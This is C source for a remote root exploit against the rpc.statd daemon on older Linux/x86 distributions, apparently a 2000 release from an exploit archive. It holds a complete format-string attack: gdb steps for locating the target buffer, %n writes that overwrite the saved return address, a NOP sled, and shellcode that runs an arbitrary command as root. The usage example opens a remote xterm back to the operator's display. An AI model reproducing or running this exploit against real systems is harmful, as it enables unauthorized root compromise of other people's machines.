/* * rpc.statd remote root xploit for linux/x86 * based on the xploit made by drow for linux/PowerPC * * Author: Doing, 08/2000 * * NOTE: * The guest of the remote address of the saved EIP and local vars * is still a problem. The value showed on the usage worked * fine on mi suse with the compiled sources. With gdb and a little * patience you should get the address for your distro/version. * Some address doesn't work, because they cause a very long result, * and the syslog() function overflows itself when parsing the * format input :( * * Greetz to Pascal Bouchareine for that great paper on format bugs :) * * Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P * * Excuse my poor english :-) * * Affected: * Connectiva Linux 5.1 * Connectiva Linux 5.0 * Connectiva Linux 4.2 * Connectiva Linux 4.1 * Connectiva Linux 4.0es * Connectiva Linux 4.0 * Debian Linux 2.3 * Debian Linux 2.2 * RedHat Linux 6.2 i386 * RedHat Linux 6.1 i386 * RedHat Linux 6.0 i386 * Trustix Secure Linux 1.1 * Trustix Secure Linux 1.0 * * To compile the xploit you need the librpcsvc library: * * gcc statd.c -o statd -lrpcsvc * * Way of finding offsets for your distro/version: * * Launch statd and attach it with gdb: * * [root@localhost statd]# ./statd * [root@localhost statd]# ps aux | grep st * root 394 0.0 0.9 1184 576 ? S 15:27 0:00 ./statd * [root@localhost statd]# gdb ./statd * GNU gdb 4.18 * [ cut cut cut cut ] * (gdb) attach 394 * Attaching to program: * /zecreto/doing/xploits/daemon/rpc.statd/knfsd-1.3.2/utils/statd/./statd, * process 394 * * [ Now put a breakpoint on the function log() ] * (gdb) break log * Breakpoint 1 at 0x804a10a: file log.c, line 82. * (gdb) c * Continuing. * * [ At this point run the xploit ] * Breakpoint 1, log (level=2, fmt=0x804c820 "SM_MON request for hostname * containing '/': %s") at log.c:82 * 82 va_start(ap, fmt); * * [ And put another breakpoint in the function syslog() ] * (gdb) break syslog * Breakpoint 2 at 0x400d12e6: file syslog.c, line 102. * (gdb) c * Continuing. * * Breakpoint 2, syslog (pri=2, * fmt=0xbfffef38 "SM_MON request for hostname containing '/': * [garbage]..) * ^^^^^^^^^ * This is the address of the buffer in function log. If you run * the xploit * with this value it should work. * * Doing * * */ #include #include #include #include #include #include #include #include void usage(char *s) { printf("rpc.statd xploit for linux/x86 - Doing \n"); printf("Usage: %s host address command\n", s); printf("host\t: the targe host\n"); printf("address\t: the address of the buffer in function log()\n"); printf("command\t: command to run remotely\n\n"); printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm -ut -display 127.0.0.1:0\"\n\n", s); printf("Enjoy!\n"); exit(0); } /* shellcode without cr/lf and control caracters */ char *code = "\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89" "\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb" "\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83" "\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e" "\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff" "\xff\xff/bin/sh -c "; char shellcode[4096]; void make_shellcode(char *cdir, char *cmd) { unsigned long dir, ret; int c, eat = 14; int first_n = 0xc9; char tmp[1024]; int i, i0, i1, i2; char *ptr = shellcode; memset(shellcode, 0, 4096); sscanf(cdir, "%x", &dir); ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */ dir += 1028; /* dir = address of saved EIP = address of buffer + 1024 bytes of buffer + 4 bytes of SFP */ ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; dir++; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; dir++; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; dir++; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8, (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24); ptr = &shellcode[strlen(shellcode)]; for ( c = 0; c < eat; c++) { sprintf(ptr, "%%x "); ptr = &shellcode[strlen(shellcode)]; } i0 = (ret & 0xff); if (i0 > first_n) sprintf(ptr, "%%0%ix%%n", i0 - first_n); if (i0 == first_n) sprintf(ptr, "%%n"); if (i0 < first_n) { i0 |= 0x0100; sprintf(ptr, "%%0%ix%%n", i0 - first_n); } ptr = &shellcode[strlen(shellcode)]; i = (ret & 0xff00) >> 8; if (i > i0) sprintf(ptr, "%%0%ix%%n", i - i0); if (i == i0) sprintf(ptr, "%%n"); if (i < i0) { i |= 0x0100; sprintf(ptr, "%%0%ix%%n", i - i0); } ptr = &shellcode[strlen(shellcode)]; i1 = (ret & 0xff0000) >> 16; if (i1 > i) sprintf(ptr, "%%0%ix%%n", i1 - i); if (i1 == i) sprintf(ptr, "%%n"); if (i1 < i) { i1 |= 0x0100; sprintf(ptr, "%%0%ix%%n", i1 - i); } ptr = &shellcode[strlen(shellcode)]; i2 = (ret & 0xff000000) >> 24; i2 |= 0x0200; sprintf(ptr, "%%0%ix%%n", i2 - i1); ptr = &shellcode[strlen(shellcode)]; for (c = 0; c < 50; c++) { sprintf(ptr, "\x90"); ptr = &shellcode[strlen(shellcode)]; } sprintf(ptr, "%s%s\x00", code, cmd); } main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i; if (argc < 4) usage(argv[0]); make_shellcode(argv[2], argv[3]); memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name ="localhost"; monreq.mon_id.my_id.my_prog = 0; monreq.mon_id.my_id.my_vers = 0; monreq.mon_id.my_id.my_proc = 0; monreq.mon_id.mon_name = shellcode; if ((hp=gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n", argv[1]); exit(0); } target.sin_family=AF_INET; target.sin_addr.s_addr=*(u_long *)hp->h_addr; target.sin_port=0; /* ask portmap */ sd = RPC_ANYSOCK; tm.tv_sec=10; tm.tv_usec=0; if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit(0); } stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); clnt_destroy(cl); } /* www.hack.co.za [2 August 2000]*/